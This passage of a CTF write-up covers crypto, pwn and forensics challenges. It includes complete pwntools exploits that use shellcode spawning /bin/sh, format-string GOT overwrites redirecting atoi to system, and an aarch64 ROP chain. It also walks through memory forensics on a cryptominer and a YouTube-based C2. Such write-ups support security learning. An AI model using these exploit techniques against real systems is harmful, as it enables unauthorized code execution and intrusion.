3586922435, 4260993877, 4016898238, 3202897641, 419638200, 3037441169, 1834391042, 904287942, 1514368863, 3986139727, 2153907456, 1533323645, 1155232279, 213099664, 1714717110, 1968250974, 2639373603, 2371254902, 563113769, 3578681865, 3759326290, 901409992, 625442010, 1360637518, 2251014219, 2313753315, 4283299419, 562173976, 2079483337, 3552370825, 2462580293, 858306363, 2202729035, 1831977809, 3851603052, 2710152413, 2389665, 3974524374, 37450276, 4224783304, 3303695784, 2996044254, 1838348893, 247658571, 320033780, 3247787620, 4062938061, 3590763652, 3082017084, 3334874505, 2855734932, 2631719838, 672681953, 1138884604, 3437492448, 738450364, 3626343288, 4117307202, 795099688, 3133436296, 1282624067, 2658756976, 715128238, 2459674537, 1668829431, 2031343512, 2232818282, 1784328137, 3638680770, 2732082932, 3783963275, 870688012, 1452309703, 2634525727, 850169829, 1068518309, 628479603, 3373770043, 2170546634, 442762148, 4218743125, 1516169576, 451440342, 3049054142, 3623359070, 323611494, 210809302, 2120055318, 1775439722, 1881594775, 361703796, 2913322655, 2175611179, 3686227361, 1128959810, 3297202783, 581565414, 3791545978, 1518835063, 2030299271, 815336471, 2878469082, 3284685746, 1439087512, 1972727450, 196626905, 3656846360, 1965391781, 3363337987, 1128011834, 1165347560, 2062545126, 983128563, 2822869774, 2396046416, 330743166, 1500151947, 3568234432, 3994447488, 776316621, 1718351314, 501454463, 602068828, 620504424, 3163584634, 3066818770, 2430536881, 1237875330, 3636604006, 1400984498, 2767920728, 2549478744, 885992992, 2183834492, 2358126359, 1302850486, 679766050, 368192279, 2501157458, 1404283187, 3266297450, 1251752354, 366582738, 1420838319, 4183579763, 2214976596, 3127145384, 3664269214, 4203018584, 793175706, 4214019017, 2335609102, 1708394402, 3831633150, 1613976112, 3319204700, 1823765407, 2180902883, 1658442931, 254368324, 3934657917, 875198930, 624613941, 2856335536, 488985963, 2951812156, 866018558, 2711730173, 4124926278, 1533823928, 1281513789, 10096891, 3735634306, 2610835449, 3586745178, 4076472102, 1852621696, 644953731, 1275930757, 4130311977, 2535003696, 1392320379, 4285301679, 3627138388, 3583840042, 2850600489, 4210993935, 3312416308, 1438496364, 240377292, 447216707, 3347072374, 490413907, 4255414681, 1123980854, 3933059102, 975709124, 1714604762, 1699712845, 2726394004, 1733732270, 4117958533, 2429885609, 2345901954, 1478422302, 1768620990, 1866440064, 1085160967, 2533722077, 1872915185, 3635425100, 916013462] # state = [2997591173, 3717481680, 3944879426, 1479935385, 1223324338, 2747094275, 508272192, 1242630860, 2819796428, 2171698793, 3069159730, 3366900164, 1771022193, 832213548, 1787121189, 3002084297, 3835791607, 340972096, 302366128, 983970111, 2048764187, 1909714222, 2323051696, 1426317767, 4239486902, 124304369, 766216988, 2079877629, 2880894265, 4166147061, 2285228255, 3709671105, 2262451453, 4052699701, 2727381233, 2902885848, 3029098107, 2581236194, 3369599990, 1509570323, 4289454681, 1539517839, 2958568723, 4201660984, 482069171, 2797722706, 1583263757, 2240280298, 3138576530, 2705110689, 302991598, 1633483838, 3003041038, 2670749728, 2871582427, 649635647, 2487593006, 2946837776, 3620588431, 3681879160, 2349353652, 1594712330, 1911881773, 1595966640, 1827393487, 300853339, 2883003322, 3724032488, 2993719127, 1512747243, 3538322204, 3414161057, 3454965495, 800958530, 667728117, 1531493929, 2196059462, 28175243, 385848592, 3438790367, 1323669312, 3625962378, 2569813750, 2525523080, 443374424, 4017893018, 2313012938, 95514237, 2136444630, 3216404935, 1881559536, 177989893, 3018883290, 576023199, 3479033178, 4056019838, 1134953253, 2258403390, 3248416134, 1447953272, 1626532190, 3893223374, 952075411, 3911836644, 2849290498, 4026429133, 3001113561, 2340726054, 4279569971, 3778374836, 3243812303, 4013277454, 1970268866, 3661932688, 94779436, 2806214543, 2752365420, 1698224662, 2948073813, 3759548107, 1379623488, 2931224395, 3510206550, 342965230, 285515994, 1937915822, 1283573859, 794297789, 103882253, 3024413641, 3160483836, 3658454223, 4126648579, 4039653723, 399836926, 1637233298, 3475203654, 1227982948, 307137449, 853949362, 4239158567, 3014368388, 3730259788, 2490968518, 423859757, 2787390507, 3498831267, 2300121637, 3616734819, 2570612703, 2395857910, 1649210298, 1603071229, 1601938922, 1782776653, 303239567, 365567187, 3576083008, 2102345969, 3539837807, 2549612225, 3762057806, 1227140705, 2626448952, 1588131818, 3177962796, 1724256826, 3548767777, 1635798318, 850821351, 24523475, 2724140580, 371689493, 3191351539, 3512766135, 1524587008, 290129850, 3235485277, 3530645043, 676605984, 2152656319, 3613089570, 566084216, 245823287, 2409776308, 1275878812, 2446460827, 1031921914, 3183018028, 3254468961, 1876702794, 617679564, 3979490572, 2385414684, 2432853341, 1397320417, 1615365773, 1562750131, 377057908, 3472358341, 133544298, 1708087179, 1848122983, 3206499534, 929850514, 3798092030, 1682683307, 154193613, 3904983561, 3872722832, 210929649, 103332256, 396924021, 697229928, 1732799158, 2232818481, 2976202911, 2135260851, 716038804, 1602314247, 433442641, 3369692430, 73193197, 2153775087, 2496138020, 4187448456, 2304016313, 685088362, 2175498813, 4247623861, 3423869992, 4228339737, 1187430136, 3560504381, 392531832, 810971367, 1495111840, 832168178, 1196493547, 1119791406, 3390821852, 183405297, 3273250386, 1512500154, 2580166529, 1845488975, 3125705174, 50653624, 4014279969, 1060043265, 2506917303, 4114449552, 145076879, 138683971, 3022831306, 195048328, 2710401631, 628079075, 1657964999, 4207654470, 1756632722, 3449400017, 925495312, 3326179120, 735880942, 1386338028, 1171811144, 2357735780, 3256307877, 2382194334, 2171352765, 2935641692, 3116740819, 144057158, 3455263534, 1075199474, 3055304485, 2621415016, 533703099, 4194070570, 2732042389, 549108038, 1513530471, 3780332288, 2792477150, 1194424330, 2056794877, 4187998233, 707412346, 1654875407, 2363428899, 1261045826, 1578124333, 231811960, 2290224495, 28294407, 4258259432, 3665470451, 812875241, 2028661818, 856382304, 401373245, 1522737209, 3817167666, 2246074659, 2694749831, 3191849500, 2266940405, 2410985109, 3022353117, 2221484536, 2702666851, 2610888197, 142188456, 1533403883, 1723947646, 3811902386, 2114592771, 126699715, 2604446563, 2742856750, 3988443029, 554181194, 4052321742, 3098834164, 212857042, 1573232425, 1532424240, 4181988863, 395867892, 1180400515, 1121722692, 2481749768, 3583579380, 3789712298, 796178814, 522364933, 875637123, 4165991820, 1678783672, 2906231921, 592083735, 1627872347, 4024317521, 3886362086, 576858073, 1153297093, 3509985548, 2436284079, 356291690, 1629516151, 2151249290, 3975605417, 3239425728, 3008096463, 831660746, 2327853631, 2375894261, 3780986303, 853467011, 1723018569, 1841884200, 1768327184, 4119989060, 3160585029, 1335806631, 3385195222, 1482500566, 3765109032, 2927349334, 1263291335, 395128533, 3806626650, 3039053736, 3230368927, 1799177376, 2331849477, 1581107736, 1419789599, 4149561358, 1564416839, 1956512108, 816589, 4087030042, 884954723, 4213402315, 2829361879, 2639547911, 4108904793, 1465565861, 2932372432, 3003817829, 2900930581, 3152838028, 1139852527, 4100398482, 1491947985, 1481860094, 619198763, 2642224631, 879073723, 3377945385, 3118816365, 1691269056, 1840021901, 2661424769, 302507238, 2111285747, 924532049, 2781318342, 2460468069, 1433205040, 2968083654, 3586922435, 4260993877, 4016898238, 3202897641, 419638200, 3037441169, 1834391042, 904287942, 1514368863, 3986139727, 2153907456, 1533323645, 1155232279, 213099664, 1714717110, 1968250974, 2639373603, 2371254902, 563113769, 3578681865, 3759326290, 901409992, 625442010, 1360637518, 2251014219, 2313753315, 4283299419, 562173976, 2079483337, 3552370825, 2462580293, 858306363, 2202729035, 1831977809, 3851603052, 2710152413, 2389665, 3974524374, 37450276, 4224783304, 3303695784, 2996044254, 1838348893, 247658571, 320033780, 3247787620, 4062938061, 3590763652, 3082017084, 3334874505, 2855734932, 2631719838, 672681953, 1138884604, 3437492448, 738450364, 3626343288, 4117307202, 795099688, 3133436296, 1282624067, 2658756976, 715128238, 2459674537, 1668829431, 2031343512, 2232818282, 1784328137, 3638680770, 2732082932, 3783963275, 870688012, 1452309703, 2634525727, 850169829, 1068518309, 628479603, 3373770043, 2170546634, 442762148, 4218743125, 1516169576, 451440342, 3049054142, 3623359070, 323611494, 210809302, 2120055318, 1775439722, 1881594775, 361703796, 2913322655, 2175611179, 3686227361, 1128959810, 3297202783, 581565414, 3791545978, 1518835063, 2030299271, 815336471, 2878469082, 3284685746, 1439087512, 1972727450, 196626905, 3656846360, 1965391781, 3363337987, 1128011834, 1165347560, 2062545126, 983128563, 2822869774, 2396046416, 330743166, 1500151947, 3568234432, 3994447488, 776316621, 1718351314, 501454463, 602068828, 620504424, 3163584634, 3066818770, 2430536881, 1237875330, 3636604006, 1400984498, 2767920728, 2549478744, 885992992, 2183834492, 2358126359, 1302850486, 679766050, 368192279, 2501157458, 1404283187, 3266297450, 1251752354, 366582738, 1420838319, 4183579763, 2214976596, 3127145384, 3664269214, 4203018584, 793175706, 4214019017, 2335609102, 1708394402, 3831633150, 1613976112, 3319204700, 1823765407, 2180902883, 1658442931, 254368324, 3934657917, 875198930, 624613941, 2856335536, 488985963, 2951812156, 866018558, 2711730173, 4124926278, 1533823928, 1281513789, 10096891, 3735634306, 2610835449, 3586745178, 4076472102, 1852621696, 644953731, 1275930757, 4130311977, 2535003696, 1392320379, 4285301679, 3627138388, 3583840042, 2850600489, 4210993935, 3312416308, 1438496364, 240377292, 447216707, 3347072374, 490413907, 4255414681, 1123980854, 3933059102, 975709124, 1714604762, 1699712845, 2726394004, 1733732270, 4117958533, 2429885609, 2345901954, 1478422302, 1768620990, 1866440064, 1085160967, 2533722077, 1872915185, 3635425100] xor_shift = lambda x: x ^ (x >> 30) state[0] = state[-1] for i in [1] + [i for i in range(623, 1, -1)]: tmp = state[i] + i mask = (xor_shift(state[i - 1]) * 1566083941) state[i] = (tmp ^ mask) & ((1 << 32) - 1) state[0] = state[-1] arr = [] for i in range(3, 600): RHS_expr = (init_state[i] ^ (xor_shift(state[i - 1]) * 1664525)) & ((1 << 32) - 1) key = (state[i] - RHS_expr - (i - 1)) % (1 << 32) arr.append(key) print([hex(x) for x in arr]) ``` Gives initial state `[2997591173, 3717481680, 3944879426, 1479935385, 1223324338, 2747094275,...` ``` b'&(\xb5\xf2' 71 b'2203' 75 b'6b3b' 76 b'4c3-' 77 b'0-p1' 78 b'-1nt' 79 b'l1ng' 80 b'-f4l' 81 b'Gs4W' 82 b'U{J1' 83 b'ITDT' 84 b'XQIS' 85 ``` Get flag. ### somesomesome Copy script from https://raw.githubusercontent.com/Connor-McCartney/coppersmith/refs/heads/main/coppersmith.sage and change to m=8 t=2 ```py= n = 9433712610959885375221810446914635069554077729988416135101966896488335918916519539830838955289216290130021191272517930019991721621248444899054351541034332923892257941652667085224780108603880257779781959093176456114319648225694578094151982626852411179914323807364599792545943013213302760312163194490734828969125203970896020957940669210985389661766044622868641480660567350447195287976428652624447259907757873870806721257462272378852232767957215598993114762495243314001555853470285722516904153177100072712186966925976892701061033644762652746251398920428013075797960080528464113185300338330329689079645327410860820791951 c = 2009804438511397417079733026286503900638881746928444488498899210223512456468954912508401690372416355020938623615147808621999573503563538034992489984222522545100195657663832458239477143396964833752320626753495841798293809828935611697686279399323665325423309643778115987715686875845676596553265607980895634535619415143945553533811861834972118606183461386755199862529618793561816720850996969299948170293235277959084201323664075069227260967952723941816413482440790940040264635959043781254422128290619354457119389385035205114010557210338082204418042838070078857135788160433567520598363566825908590558856255481305379407076 hint = '????????????????????cdf63df9bb0b14828e771e85e2ca9cfb1a638d1ccc554c9a49723a12d1a94697b0bbc64cf8a8e7a12937ee3e0049e6613e6452???????????????????008f897fa4b1c04f4e0a2dc73d66ec0b98c5dddf24e10d6d77923cdf4505204eca2979428cf7184433d4a63f3b77fe7????????????????????' f, bounds = generate_polynomial(n, hint) f, h = multivariate_herrmann_may(f, bounds, m=8, t=2) R = PolynomialRing(ZZ, ["x0", "x1", "x2"]) h = [R(hi) for hi in h] H = PolynomialSequence(R, h[:-1]) A, v = H.coefficients_monomials() print(A.dimensions(), len(v)) K = A.right_kernel().matrix() print(K) print(v) ``` `ISITDTU{f0dd7334e108da241ab8099e9f12dcc1}` ## PWN ### shellcode 1 ```py= from pwn import * elf = ELF("./challenge_patched") context.binary = elf def conn(): if args.GDB: script = """ b main b *(main+374) c """ p = gdb.debug(elf.path, gdbscript=script) elif args.REMOTE: p = remote("152.69.210.130", 3001) else: p = process(elf.path) return p def run(): global p p = conn() p.recvuntil(b'you: ') libc_leak = int(p.recvline().strip(), 16) flag = libc_leak + 2312464 shellcode = f''' pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 pop r10 sub r10, 293664 add r10, 50000 xor rax, rax mov al, 20 xor rdi, rdi mov di, 1 xor rsi, rsi mov rsi, 10000 push rsi mov rsi, r10 push rsi mov rsi, rsp xor rdx, rdx mov dx, 1 syscall ''' p.sendline(asm(shellcode)) p.interactive() run() ``` ### shellcode2 ```py= #!/usr/bin/env python3 from pwn import * exe = ELF("./challenge") context.binary = exe context.terminal = ["tmux", "splitw", "-h"] def debug(): if args.GDB_DEBUG: gdb.attach(p, ''' c ''') pause() def conn(): if args.LOCAL: p = process([exe.path]) else: p = remote("152.69.210.130", 3002) return p p = conn() sc = ''' mov r11d,0xfffffff1 sub r11d,0xffffff89 xor r9,r9 or r9,r11 shl r9,0xf shl r9,1 mov r11d,0xffffff11 sub r11d,0xffff8be1 dec r11d or r9,r11 shl r9,0xf shl r9,1 mov r11d,0xfffffff1 sub r11d,0xffff9187 dec r11d or r9,r11 shl r9,0xf shl r9,1 mov r11d,0xfffffff1 sub r11d,0xffff9dc1 dec r11d or r9,r11 push r9 xor r9,r9 or r9,rsp push r9 pop rdi xor ecx,ecx movzx edx,cx movzx esi,cx lea eax,[ecx+0x3b] syscall ''' sc = asm(sc) print(list(sc)) debug() p.sendline(sc) if not args.SWARM: p.interactive() else: # print out the flag to stdout p.sendline("cat /flag*") p.sendline("cat /home/*/flag*") print(p.recvall(timeout=3), flush=True) ``` ### Game of Luck ```py= from pwn import * from ctypes import CDLL, c_uint32, c_uint64 # ========================================================= # SETUP # ========================================================= exe = './chal' elf = context.binary = ELF(exe, checksec=True) libc = './libc6_2.35-0ubuntu3.8_amd64.so' lib = CDLL(libc) libc = ELF(libc, checksec=False) context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h", "-p", "65"] host, port = '152.69.210.130', 2004 def initialize(argv=[]): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript) elif args.REMOTE: return remote(host, port) else: return process([exe] + argv) gdbscript = ''' init-pwndbg # clock calls # break *0x4012fe # break *0x040149a # get choice scanf # break *0x401612 # 68 cmp # break *0x401625 # atoi # break *0x4013f3 # guess cmp # break *0x4014d2 '''.format(**locals()) # ========================================================= # EXPLOITS # ========================================================= # └──╼ [★]$ pwn checksec chal # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: No PIE (0x400000) def recv_lucky_number(): io.recvuntil(b'Lucky number: ') lucky_number = int(io.recvline().strip()) return lucky_number FMTSTR_FUNC = 0x401534 def exploit(): global io lucky_number = 0x0 tries = 0x1 while lucky_number != 0x44: log.info("tries: %d", tries) tries += 1 io = initialize() lucky_number = recv_lucky_number() if lucky_number != 0x44: io.close() else: if args.GDB: gdb.attach(io, gdbscript) payload = fmtstr_payload(6, {elf.got['exit']: FMTSTR_FUNC}) io.sendline(b'+') io.sendlineafter(b'name', payload) payload = b'%7$s'.ljust(8, b'\x00') + p64(elf.got['puts']) io.sendline(b'1') io.sendline(b'idk') io.sendlineafter(b'name', payload) puts = u64(io.recvline()[2:8].ljust(8, b'\x00')) payload = b'%7$s'.ljust(8, b'\x00') + p64(elf.got['printf']) io.sendline(b'1') io.sendline(b'idk') io.sendlineafter(b'name', payload) printf = u64(io.recvline()[2:8].ljust(8, b'\x00')) # remote # [*] libc puts: 0x7b0c817ffe50 # [*] libc printf: 0x7b0c817df6f0 libc.address = puts - libc.sym['puts'] payload = fmtstr_payload(6, {elf.got['atoi']: libc.sym['system']}) io.sendline(b'1') io.sendline(b'idk') io.sendlineafter(b'name', payload) io.sendline(b'1') io.sendlineafter(b'guess:', b'/bin/sh') log.info("libc puts: %#x", puts) log.info("libc printf: %#x", printf) log.info("libc base: %#x", libc.address) io.interactive() if __name__ == '__main__': exploit() ``` ### no_name ```py= from pwn import * from ctypes import CDLL # ========================================================= # SETUP # ========================================================= exe = './chall' elf = context.binary = ELF(exe, checksec=True) libc = './libc.so.6' lib = CDLL('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF(libc, checksec=False) context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h", "-p", "65"] host, port = '152.69.210.130', 1337 def initialize(argv=[]): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript) elif args.REMOTE: return remote(host, port) else: return process(['./qemu_aarch64', '-g', '1234', './chall'] + argv) gdbscript = ''' init-pwndbg # cmp, set $w1 = $w0 breakrva 0xe30 # printf breakrva 0xd00 # fmstr ret breakrva 0xd74 # bof ret breakrva 0xc5c continue '''.format(**locals()) # ========================================================= # EXPLOITS # ========================================================= # └──╼ [★]$ pwn checksec chall # Arch: aarch64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled def exploit(): global io io = initialize() lib.srand(lib.time(None)) rand = lib.rand() % 10000 + 1 io.sendlineafter(b'guess:', str(rand).encode()) io.sendlineafter(b'spell:', b'%4$p|%8$p|%33$p|%21$p|') io.recvuntil(b'0x') elf.address = int(io.recvuntil(b'|', drop=True), 16) - 0x10b1 bof_func = elf.address + 0xbd8 stack = int(io.recvuntil(b'|', drop=True), 16) rip = stack - 0x68 libc.address = int(io.recvuntil(b'|', drop=True), 16) - 152 - libc.sym['__libc_start_main'] canary = int(io.recvuntil(b'|', drop=True), 16) payload = fmtstr_payload(12, {rip: bof_func}, write_size='short') io.sendlineafter(b'spell:', payload) # refer to: https://hyggehalcyon.gitbook.io/page/ctfs/2024/b01lers-ctf#exploitation-4 # ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret gadget = libc.address + 0x0000000000069500 payload = flat({ 128: [ canary, stack+0x20, gadget, 0, canary, ] }) payload += b'A' * 8 payload += p64(libc.sym['system']) # x1 and x2 already NULL payload += b'B' * 8 payload += p64(next(libc.search(b'/bin/sh\x00'))) io.sendlineafter(b'name:', payload) log.info('elf base: %#x', elf.address) log.info('libc base: %#x', libc.address) log.info('rip: %#x', rip) log.info('canary: %#x', canary) io.interactive() if __name__ == '__main__': exploit() ``` ## Forensics ### CPUsage First do psscan and find suspicious process `dlIhost.exe`: ``` vol.py -f win10.raw windows.psscan Volatility 3 Framework 2.8.0 Progress: 100.00 PDB scanning finished PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output 2220 264 dlIhost.exe 0xb50e42a43080 9 - 0 False 2024-08-22 11:57:21.000000 UTC N/A Disabled ``` PPID is 264. We also have the file path from some dump: ``` 3780.txt:1682083:device\harddiskvolume3\users\m4shl3\appdata\roaming\dll\dlihost.exe 3780.txt:1686298:Device\HarddiskVolume3\Users\m4shl3\AppData\Roaming\DLL\dlIhost.exe 3780.txt:1690321:\device\harddiskvolume3\users\m4shl3\appdata\roaming\dll\dlihost.exe 3780.txt:1690325:\device\harddiskvolume3\users\m4shl3\appdata\roaming\dll\dlihost.exe 3780.txt:1721624:Device\HarddiskVolume3\Users\m4shl3\AppData\Roaming\DLL\dlIhost.exe 3780.txt:1722925:\Device\HarddiskVolume3\Users\m4shl3\AppData\Roaming\DLL\dlIhost.exe ``` Now let's dump the process in that address: ``` $ python3 vol.py -f ../win10.raw windows.dumpfiles --pid 2220 Volatility 3 Framework 2.11.0 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result ImageSectionObject 0xb50e4015ca40 IPHLPAPI.DLL file.0xb50e4015ca40.0xb50e40180010.ImageSectionObject.IPHLPAPI.DLL.img ImageSectionObject 0xb50e42870eb0 NapiNSP.dll Error dumping file ImageSectionObject 0xb50e422b9b20 dlIhost.exe file.0xb50e422b9b20.0xb50e4259c010.ImageSectionObject.dlIhost.exe.img ImageSectionObject 0xb50e42871b30 winrnr.dll Error dumping file ``` This gives a .img exe, upload to TotalVirus: https://www.virustotal.com/gui/file/8edfbfd29576025f0c621bd3bacc6d7a335e4aaa20af6b6a8bdf2c8a1ff4d3c6 and we know malware family is "harharminer". For ip, netstat works. ``` vol.py -f win10.raw windows.netstat Volatility 3 Framework 2.8.0 Progress: 100.00 PDB scanning finished Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created 0xb50e40f53260 TCPv4 192.168.253.128 49720 45.77.240.51 6198 ESTABLISHED 2220 dlIhost.exe 2024-08-22 11:58:04.000000 UTC ``` ### Corrupted Hard Drive ```py= from pwn import * context.log_level = "error" r = remote("152.69.210.130", 1411) r.sendlineafter(b"(0xXXXXX)\n", b"0x10000") r.sendlineafter(b"XXXXX)\n", b"0x4E54460020202020") r.sendlineafter(b"01:01\n", b"2024-10-22 21:51:13") r.sendlineafter(b"(XXX)\n", b"126") r.sendlineafter(b"file to?", b"best") r.sendlineafter(b"file to?", b"MustRead") r.sendline(b"2024-10-22 22:17:54") r.interactive() ``` ``` [7]. The time he of the deletion?? Eg: 2024-01-01 01:01:01 [+] Correct! [+] Congrats! You have successfully completed the test. Here's your reward: ISITDTU{https://www.youtube.com/watch?v=yqp61_Wqm-A} ``` ### Initial ![image](https://hackmd.io/_uploads/Bk_EF2seJe.png) ![image](https://hackmd.io/_uploads/r1mHKnseke.png) ![image](https://hackmd.io/_uploads/ry2BYnslyx.png) `Jk0x0ifWQKY8lZeWc9RWQbq4OvOkuvTzlqoq8PygyNlhgL7` which I found way earlier is just base62 not base64 and it's the flag ### swatted ```py= from pwn import * context.log_level = "error" r = remote("152.69.210.130", 1259) r.sendline(b"imsadboi:qwerty\nwire\nanonymous69420\nclowncz123\nhttps://file.io/lIPzLAvhF5n4\n2024-10-24 09:59:12\n2024-10-24 10:01:12\ntheclownz723@gmail.com\n23") r.interactive() ``` First few questions are easy. ``` [10]. What is the email address and the password of user 'blistery'? Format: email:password ``` We get a `secretpwd` gpg file and need to decrypt it. This isn't working: ``` ~/CTF/aictf$ sudo kdb mount secretpwd /mnt/test fcrypt "encrypt/key=E89F787F0B95B0EDCC571F3AA919719CCA0001CF" [sudo] password for sahuang: The command kdb mount terminated unsuccessfully with the info: The provided plugin configuration is not valid! Errors/Warnings during the check were: Sorry, module fcrypt issued the error C03200: Validation Semantic: 'E89F787F0B95B0EDCC571F3AA919719CCA0001CF' does not identify a valid GPG private key. Mountpoint: / Configfile: At: /home/sahuang/CTF/aictf/libelektra/src/plugins/crypto/gpg.c:450 Please report the issue at https://issues.libelektra.org/ ``` Turns out we need `gpg -d --recipient E89F787F0B95B0EDCC571F3AA919719CCA0001CF root/.config/secretpwd` ``` gpg: encrypted with rsa3072 key, ID 67F2B8B2DB99E90A, created 2024-10-24 "imsadboi" kdbOpen 2 $key string 8 32 password ZqI8gPx1GAKqRVDVEPqZBgJcbwhYdOfR $end ``` Then just gpg -d the credentials txt file. ### unexpected Get attachments from EML file first ```py= import email import base64 def extract_attachment(eml_file_path, output_dir): # Open the .eml file and parse it with open(eml_file_path, 'r', encoding='utf-8') as f: msg = email.message_from_file(f) # Iterate through the email parts to find attachments for part in msg.walk(): # Check if the part is an attachment if part.get_content_disposition() == 'attachment': filename = part.get_filename() if filename: print(f"Extracting attachment: {filename}") # Decode the base64 content of the attachment attachment_data = part.get_payload(decode=True) # Save the attachment to the specified output directory output_path = f"{output_dir}/{filename}" with open(output_path, 'wb') as attachment_file: attachment_file.write(attachment_data) print(f"Attachment saved to: {output_path}") # Usage eml_file_path = 'challenge_description.eml' # Replace with your .eml file path output_dir = 'extract' # Replace with the directory where you want to save the attachment extract_attachment(eml_file_path, output_dir) ``` Then ``` decrypt tls with ssllogkey there is a mediafire download Solara, save it Pass is also in mediafire downloads, extract zip file Dnspy file - dynamic debug - creates another .net file, save it It is this C2 - https://github.com/ricardojoserf/SharpCovertTube Upload to virustotal to get urls, refers to this playlist - PL8rua6xfypCAiqEdvoKs006WPvBMQF9-G Decode QRs bUo4V2N6TjdVWGtSQ29VQUM2WFZNWlYwb1Z5TUUrQW9hZE53bXJVb002L1lKSndDRjd4aVNlc2hyRVJ0TERlMQoK aVROeGFYZVIyTmRzSHB0RlI5a0w2aEJ3WXhxRGFQWFp4QlBvT3Ywbi82RT0K UVRncmFlMzIxUjlHcVdXbSsrQlFPUT09CgoK ODdDd3FzSVR5aG5IV2FaYzcwajA5R2lpSDdMMGF1RzZVZlB4QWVnclNYRT0K NFNBSlk2akpNTEZOWmpGamkxRTRaQT09CgoK V1h0Zm9TeVJTVVpKMkF0ek5laHNTUT09CgoK AES encrypted, use aeskeyfind on dmp given Key: c4530e2eeb9ea61d57910fe9ec86f47e25359840bf430c3ce78e4c363c5d24ef IV: 6C 44 F4 51 02 FD D7 39 CB C6 B5 72 ED 86 98 DB Checking dns requests ``` part 1 was in c2 config, DNS queries ``` G2KT4w2ooH6E0sI4nP_cp-npi1SK2Kav_9-gGP5wTlPzd1BGQ4G8K32lYtBjpVxnb8j-A3Zto_NKXO3mxvIX_oft1moDMy3LQT8Uf11smVxNNClG43zJO24WQ3_B-RDZx1j45t_oCCzCD9CtnBcoLP-jFvTV_fzis5xWgooNBVyasXuZFMb04mRkB5cKLzzmeh2NBNnquw7149gFl7MZrTjchSNDhG52800enuk_lH9AuB4_l0hJuouUiIcA5Cs6YpB42ouT0w2HE_mYq8_FdU9Bj4bDuxAlYVYmea7ETq14z_2Y2bNH0-TLb9jzr_30eTjWll4-tl3IfNFyqUG8Q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. Volume Serial Number is 5860-2D7D Directory of C:\game\SolaraExecutor 15/10/2024 09:34 pm <DIR> . 15/10/2024 09:34 pm <DIR> .. 15/10/2024 09:14 pm 248,832 SolaraExecutor.exe 1 File(s) 248,832 bytes 2 Dir(s) 31,158,628,352 bytes free ``` ``` Volume in drive C has no label. Volume Serial Number is 5860-2D7D Directory of C:\ 15/10/2024 09:34 pm <DIR> game 07/12/2019 02:14 am <DIR> PerfLogs 15/10/2024 07:40 pm <DIR> Program Files 05/05/2023 05:27 am <DIR> Program Files (x86) 15/10/2024 06:31 pm <DIR> Users 06/10/2024 07:49 am <DIR> Windows 0 File(s) 0 bytes 6 Dir( ok, part 3 ed_4s_c2-chAnNe|~} ```